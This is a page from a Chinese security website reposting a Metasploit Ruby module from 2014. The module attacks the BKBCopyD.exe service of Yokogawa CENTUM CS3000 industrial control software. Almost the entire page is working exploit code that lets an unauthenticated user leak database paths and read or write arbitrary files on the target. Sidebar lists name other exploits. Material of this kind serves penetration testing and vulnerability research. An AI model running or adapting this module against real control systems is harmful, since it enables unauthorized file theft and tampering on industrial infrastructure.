首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Yokogawa BKBCopyD.exe Client Exploit
来源:metasploit.com 作者:Unknown 发布时间:2014-08-12  
##
# This module requires Metasploit: http//metasploit.com/download
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa BKBCopyD.exe Client',
'Description' => %q{
This module allows an unauthenticated user to interact with the Yokogawa
CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
operations.
},
'Author' =>
[ 'Unknown' ],
'References' =>
[
],
'Actions' =>
[
['PMODE', { 'Description' => 'Leak the current database' }],
['RETR', { 'Description' => 'Retrieve remote file' }],
['STOR', { 'Description' => 'Store remote file' }]
],
'DisclosureDate' => 'Aug 9 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20111),
OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
], self.class)
end
def srvport
@srvport
end
def run
exploit
end
def exploit
@srvport = rand(1024..65535)
print_status("#{@srvport}")
# We make the client connection before giving control to the TCP Server
# in order to release the src port, so the server can start correctly
case action.name
when 'PMODE'
print_status("Sending PMODE packet...")
data = "PMODE MR_DBPATH\n"
res = send_pkt(data)
if res and res =~ /^210/
print_good("Success: #{res}")
else
print_error("Failed...")
end
return
when 'RETR'
data = "RETR #{datastore['RPATH']}\n"
print_status("Sending RETR packet...")
res = send_pkt(data)
return unless res and res =~ /^150/
when 'STOR'
data = "STOR #{datastore['RPATH']}\n"
print_status("Sending STOR packet...")
res = send_pkt(data)
return unless res and res =~ /^150/
else
print_error("Incorrect action")
return
end
super # TCPServer :)
end
def send_pkt(data)
connect(true, {'CPORT' => @srvport})
sock.put(data)
data = sock.get_once
disconnect
return data
end
def valid_response?(data)
return false unless !!data
return false unless data =~ /500 'yyparse error': command not understood/
return true
end
def on_client_connect(c)
if action.name == 'STOR'
contents = ""
File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
print_status("#{c.peerhost} - Sending data...")
c.put(contents)
self.service.close
self.service.stop
end
end
def on_client_data(c)
print_status("#{c.peerhost} - Getting data...")
data = c.get_once
return unless data
if @store_path.blank?
@store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
print_good("#{@store_path} saved!")
else
File.open(@store_path, "ab") { |f| f.write(data) }
print_good("More data on #{@store_path}")
end
end
def on_client_close(c)
stop_service
end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·linux/x86 chmod(777 /etc/passw
·Wordpress XMLRPC DoS Exploit
·linux/x86 Run /usr/bin/python
·CS-Cart 4.2.0 Session Hijackin
·Sky Broadband Router SR101 - W
·VirtualBox Guest Additions VBo
·SHARP MX Series - Denial of Se
·BlazeDVD Pro 7.0 - (.plf) Stac
·Hitron Technologies CDE-30364
·VMTurbo Operations Manager 4.6
·Symantec Endpoint Protection 1
·VirtualBox 3D Acceleration Vir
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved